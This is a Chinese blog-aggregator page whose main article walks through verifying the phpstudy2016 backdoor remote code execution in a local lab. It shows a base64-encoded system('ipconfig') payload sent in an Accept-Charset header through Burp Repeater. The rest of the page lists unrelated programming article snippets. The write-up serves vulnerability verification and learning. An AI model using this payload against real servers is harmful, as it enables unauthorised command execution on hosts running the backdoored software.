当前位置：首页 > news >正文

phpstudy2016 RCE漏洞验证

news 2026/5/20 3:21:15

文章目录

漏洞描述
漏洞验证

漏洞描述

PHPStudyRCE（Remote Code Execution），也称为phpstudy_backdoor漏洞，是指PHPStudy软件中存在的一个远程代码执行漏洞。

漏洞验证

打开phpstudy2016，用bp自带的浏览器访问www目录下的phpinfo.php文件，访问后结果如下：
在这里插入图片描述

然后在bp中将抓到的数据包发送到repeater模块：

在这里插入图片描述

将system(‘ipconfig’);命令做base64编码：

system('ipconfig');

编码后

c3lzdGVtKCdpcGNvbmZpZycpOw==

在这里插入图片描述

然后在repeater模块添加Accept-Charset: 字段，将base64编码放入：

Accept-Charset:c3lzdGVtKCdpcGNvbmZpZycpOw==

注意Accept-Encoding字段中gzip和deflate之间不能有空格！

在这里插入图片描述

去掉空格后点击send发送，ipconfig命令被执行：

在这里插入图片描述

phpstudy2016 RCE漏洞验证

文章目录漏洞描述漏洞验证漏洞描述 PHPStudyRCE（Remote Code Execution），也称为phpstudy_backdoor漏洞，是指PHPStudy软件中存在的一个远程代码执行漏洞。漏洞验证打开phpstudy2016，用bp自带的浏览器访问www目录下…...

编程日记 2023/9/25 23:01:05

【QT】QT事件Event大全

很高兴在雪易的CSDN遇见你 ，给你糖糖欢迎大家加入雪易社区-CSDN社区云前言本文分享QT中的事件Event技术，主要从QT事件流程和常用QT事件方法等方面展开，希望对各位小伙伴有所帮助！ 感谢各位小伙伴的点赞关注，小易…...

编程日记 2023/9/25 23:00:03

华为云云耀云服务器L实例评测｜华为云上安装etcd

文章目录华为云云耀云服务器L实例评测｜华为云上安装etcd一、什么是etcd官方硬件建议二、华为云主机准备三、etcd安装1. 安装预构建的二进制文件2. 从源代码构建四、etcd服务注册与发现1. 配置etcd2. 使用systemctl 管理启动etcd服务3. 注册服务4. 发现服务五、其…...

编程日记 2023/9/25 22:59:03

RDLC动态设置整个表格是否显示

最近有个新的需求：使用RDLC打印，当数据库中能查出数据时，显示表格。没有数据时，不显示整个表格。 1.首先在RDLC中选中表格的任意一列，右键Tablix属性 2.Tablix属性中选中可见性》选中基于表达式显示或隐藏(E)并点开右…...

编程日记 2023/9/25 22:58:01

1 下载python http://www.python.org/ftp/python/ python-2.7.2.msi 安装完需要设置环境变量 2 下载 setuptools setuptools-0.6c11.win32-py2.7.exe https://pypi.tuna.tsinghua.edu.cn/simple/setuptools/ 3 下载 pip ，python 2.7 最高支持 pip 20.3.4 https:…...

编程日记 2023/9/25 22:57:00

RabbitMQ生产故障问题分析

1. 问题引发由某个服务BI-collector-xx队列出现阻塞，影响很整个rabbitMQ集群服务不可用，多个应用MQ生产者服务出现假死状态，系统影响面较广，业务影响很大。当时为了应急处理，恢复系统可用，运维相对粗暴的把…...

编程日记 2023/9/25 22:55:59

12大常用自动化测试工具，请记得转发收藏！

常用自动化测试工具 1、Appium AppUI自动化测试 Appium 是一个移动端自动化测试开源工具，支持iOS 和Android 平台，支持Python、Java 等语言，即同一套Java 或Python 脚本可以同时运行在iOS 和Android平台，Appium 是一个C/S 架构&…...

编程日记 2023/9/25 22:53:57

Android Studio 的aapt2.exe在哪个目录下

一般在：C:\Users\admin\AppData\Local\Android\Sdk\build-tools\30.0.2（不一定是30.0.2，这个得看你的版本） 怎么找： 1.打开Android studio...

编程日记 2023/9/25 22:52:56

【pytest】conftest.py使用

1. 创建test_project 目录 test_project/sub/test_sub.py def test_baidu(test_url):print(fsub {test_url}) test_project/conftest.py 设置钩子函数只对当前目录和子目录起作用 import pytest #设置测试钩子函数 pytest.fixture() def test_url():return "http…...

编程日记 2023/9/25 22:50:54

SpringBoot集成Prometheus实现监控

SpringBoot配置Prometheus pom.xml 引入监控以及prometheus依赖 <dependency><groupId>io.micrometer</groupId><artifactId>micrometer-registry-prometheus</artifactId></dependency><dependency><groupId>org.springfram…...

编程日记 2023/9/25 22:49:53

【操作系统笔记十】缓存一致性

CPU 核心之间数据如何传播高速缓存中的值被修改了，那么怎么同步到内存中呢？ ① 写直达（Write-Through）② 写回（Write-Back） 写直达（Write-Through） 简单，但是很慢&am…...

编程日记 2023/9/25 22:47:50

lS1028 + 六网口TSN 硬交换+QNX/Linux实时系统解决方案在轨道交通系统的应用

lS1028 六网口TSN 硬交换QNX/Linux实时系统解决方案在轨道交通系统的应用以下是在轨道交通应用的实物： CPUNXP LS1028A架构双核Cortex-A72主频1.5GHzRAM2GB DDR4ROM8GB eMMCOSUbuntu20.04供电DC 12V工作温度-40℃~ 80℃ 功能数量参数Display Port≤1路支持DP1.3…...

编程日记 2023/9/25 22:46:49

实现字符串反转函数

实现字符串反转 #include <stdio.h> #include <string.h>void reverse(char *str) {int len = strlen(str);...

编程日记 2023/9/25 22:40:41

抽检监测实施

声明本文是学习GB-T 42893-2023 电子商务交易产品质量监测实施指南. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 1 范围本文件提供了开展电子商务交易的有形产品质量监测的总则，监测准备、监测实施、监测效果评价与反馈等过程指导…...

编程日记 2023/9/25 22:39:40

C++中的静态库与动态库

文章目录静态库构建静态库动态库构建动态库它们的不同参考文章单独提这个库，我想我们在coding过程中，可能也会知道一两个词，如标准库、xx库等。库作为一组已编写好、组织好的、可复用的资源接口，可以被用于其他程序。很不…...

编程日记 2023/9/25 22:38:39

UGUI 绘制线段

描述点击鼠标左键在屏幕上绘制线段准备 VertexHelper 网格绘制工具类向量、叉乘RectTransformUtility.ScreenPointToLocalPointInRectangleSetVerticesDirtyOnPopulateMesh 思路鼠标按下，记录线段起点；鼠标持续按下，记录鼠标当前帧的…...

编程日记 2023/9/25 22:37:38

详细学习Mybatis（2）

详细学习Mybatis（2） 一、Mybatis核心配置文件详细解释1.1 environment（环境）1.2 事务管理器（transactionManager）1.3、dataSource（数据源）1.4、properties1.5、mapper 一、Mybatis核…...

编程日记 2023/9/25 22:34:35

LinkedList与链表

目录一、Arraylist的缺陷二、链表 2.1 链表的概念和结构 2.2 链表的实现三、链表面试题 3.1 删除链表中所有值为val的节点 3.2 反转一个单链表 3.3 链表的中间节点 3.4 将有序链表合并 3.5 输出倒数第k个节点 3.6 链表分割 3.7 链表的回文结构 3.8 找两个链表的公共节…...

编程日记 2023/9/25 22:33:34

纳米软件芯片自动化测试系统测试电源芯片稳压反馈的方法

在一些电源芯片或稳压芯片中，通常内部都会有稳压反馈电路，这些电路可以将输入电压通过内部调整后输出一个稳定的输出电压，以满足电路中的稳定电源需求。也就是说芯片的稳压反馈就是内部稳压反馈电路中的电压。芯片稳压反馈原理介绍稳压反馈…...

编程日记 2023/9/25 22:32:33

微信小程序之项目基本结构、页面的基础及宿主环境

文章目录前言一、基本组成结构基本组成小程序页面的组成部分JSON配置文件作用二、页面基础pagesWXML和HTML的区别WXSS和CSS的区别小程序中js文件分类三、小程序宿主环境总结前言微信小程序的项目基本结构、页面的基础及宿主环境一、基本组成结构基本组成新建一个微信…...

编程日记 2023/9/25 22:31:32

别再手动算日期了！SQL Server里DATEDIFF和DATEADD的5个实战场景，数据分析师必看

SQL Server日期处理实战：DATEDIFF与DATEADD的5个高阶应用场景在数据分析与报表开发领域，时间维度永远是核心要素之一。无论是用户行为分析、业务指标计算还是系统自动化处理，精准的日期运算能力直接决定了数据价值的挖掘深度。作为SQL Serve…...

编程新知 2026/5/20 3:18:10

②Allegro PCB转Altium Designer PCB转Pads Layout PCB

在工作中，难免会遇到主流画板EDA软件(Pads、Altium Designer、Cadence allegeo、嘉立创EDA等)文件格式相互间转换的问题。下面来介绍一下Allegro PCB转Pads Layout PCB的详细操作步骤，前面已经介绍过allegro不用经过Altium Designer软件直接转PADS格式pc…...

编程新知 2026/5/20 3:06:33

从‘人脑理解’到‘图解表达’：我是如何拆解小米便签项目结构的（附避坑指南）

从混沌到清晰：解码小米便签架构的思维可视化实战第一次打开小米便签的源码时，我仿佛闯入了一个陌生的城市。高耸的Activity大厦、错综复杂的Manager街道、隐藏在角落的Helper小巷...作为刚入门的Android开发者，面对这样一个成熟项目的代码库…...

编程新知 2026/5/20 2:57:19

Altium Designer 21 多通道设计保姆级教程：用Repeat语句快速搞定4路蜂鸣器模块

Altium Designer 21 多通道设计实战：4路蜂鸣器模块的高效实现在复杂的电子系统设计中，我们常常会遇到需要重复使用相同功能模块的情况。传统的手动复制粘贴不仅效率低下，更会给后期维护带来巨大挑战。Altium Designer 21的多通道设计功能正…...

编程新知 2026/5/20 2:36:42

3步掌握TEdit地图编辑器：泰拉瑞亚终极创作工具完全指南

3步掌握TEdit地图编辑器：泰拉瑞亚终极创作工具完全指南【免费下载链接】Terraria-Map-Editor TEdit - Terraria Map Editor - TEdit is a stand alone, open source map editor for Terraria. It lets you edit maps just like (almost) paint! It also lets you c…...

编程新知 2026/5/20 2:14:55